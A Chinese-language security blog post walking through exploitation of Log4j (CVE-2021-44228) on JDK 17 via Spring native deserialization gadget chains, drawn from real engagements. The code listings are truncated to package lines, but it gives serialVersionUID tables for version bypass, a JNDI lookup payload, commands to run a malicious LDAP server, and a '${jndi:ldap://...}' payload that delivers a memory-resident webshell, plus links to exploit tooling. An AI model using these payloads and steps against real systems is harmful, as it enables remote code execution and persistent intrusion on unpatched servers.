当Log4j遇到jdk17~往日种种,你当真不记得了?

烂梗烂梗。。。
最近不是出了一个jdk17的反序列化,文章如下:
高版本jdk+springboot链子
高版本JDK下的Spring原生反序列化链
JDK 17 TemplatesImpl ByPass 原理分析
shiro+Spring高版本原生链
恰好最近实战当中遇到了jdk17的log4j,那么就来看一下
Spring的jdk17利用链
这里参考网上的代码
1 | package exp.jdk17; |
加载代码执行的类
1 | package Tools; |
最后
1 | package exp.jdk17; |
注意在序列化生成poc的时候需要添加JVM
1 | --add-opens=java.base/sun.nio.ch=ALL-UNNAMED |
而反序列化就不需要了
注意事项
反序列化漏洞,有一个显而易见的问题就是版本不同导致serialVersionUID不同,从而反序列化失败
当类没有显式声明 serialVersionUID 时,可以使用serialver获取到该值,下载jar包:https://mvnrepository.com/artifact/org.springframework/spring-aop
1 | serialver -classpath "spring-aop-5.3.19.jar" org.springframework.aop.framework.DefaultAdvisorChainFactory |

总结:
| 依赖版本 | 类 | serialVersionUID |
|---|---|---|
| spring-aop<=6.0.9 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 6115154060221772279L |
| spring-aop>=6.0.10 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 273003553246259276L |
| jdk1.8 | javax.swing.event.EventListenerList | -5677132037850737084L |
| jdk11/17 | javax.swing.event.EventListenerList | -7977902244297240866L |
| jdk1.8 | javax.swing.undo.UndoManager | -2077529998244066750L |
| jdk11/17 | javax.swing.undo.UndoManager | -1045223116463488483L |
所以说,通过EventListenerList触发tostring这条链并不优雅,有没有更好用的呢,当然,其实还有一个XString的tostring链,它的serialVersionUID并没有随着JDK版本发生改变
1 | package exp.jdk17; |
这样就避免了JDK版本的问题
Log4j
我们这里使用的测试环境为:https://github.com/jas502n/Log4j2-CVE-2021-44228
使用jdk17启动
正常情况下会先探测一下版本:
1 | ${sys:java.version} |

没问题
在几年前,我们打高版本JDK还在使用BeanFactory、JDBC之类的,但随着技术的提升,发现RMI/LDAP协议同样支持反序列化,配合最新的Springboot链,通杀
在这之前可以使用java-chains探测一下存在依赖
之后在DNSLOG中就会看到存在的依赖
下载工具:https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
在HackerLDAPRefServer.java中放入poc
mvn package打包工具,启动LDAP服务:
1 | java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389 |

目录为foo触发反序列化,成功弹出计算器!
回显
回显也非常简单,直接
1 | package Tools; |

内存马
发现JNDIMap工具支持从URL反序列化,遂用这个LDAP服务,https://github.com/X1r0z/JNDIMap/blob/main/USAGE.md
勾选上Bypass JDK Module
将恶意类的字节码改为JMG生成的
1 | byte[] bytes = Base64.getDecoder().decode("yv66vg......."); |
最后传参即可(header头有长度限制): ${jndi:ldap://127.0.0.1:1389/Deserialize/FromFile/output.bin}
在后续也是更新了新版本,支持jdk17的反序列化了,推荐使用:https://github.com/X1r0z/JNDIMap



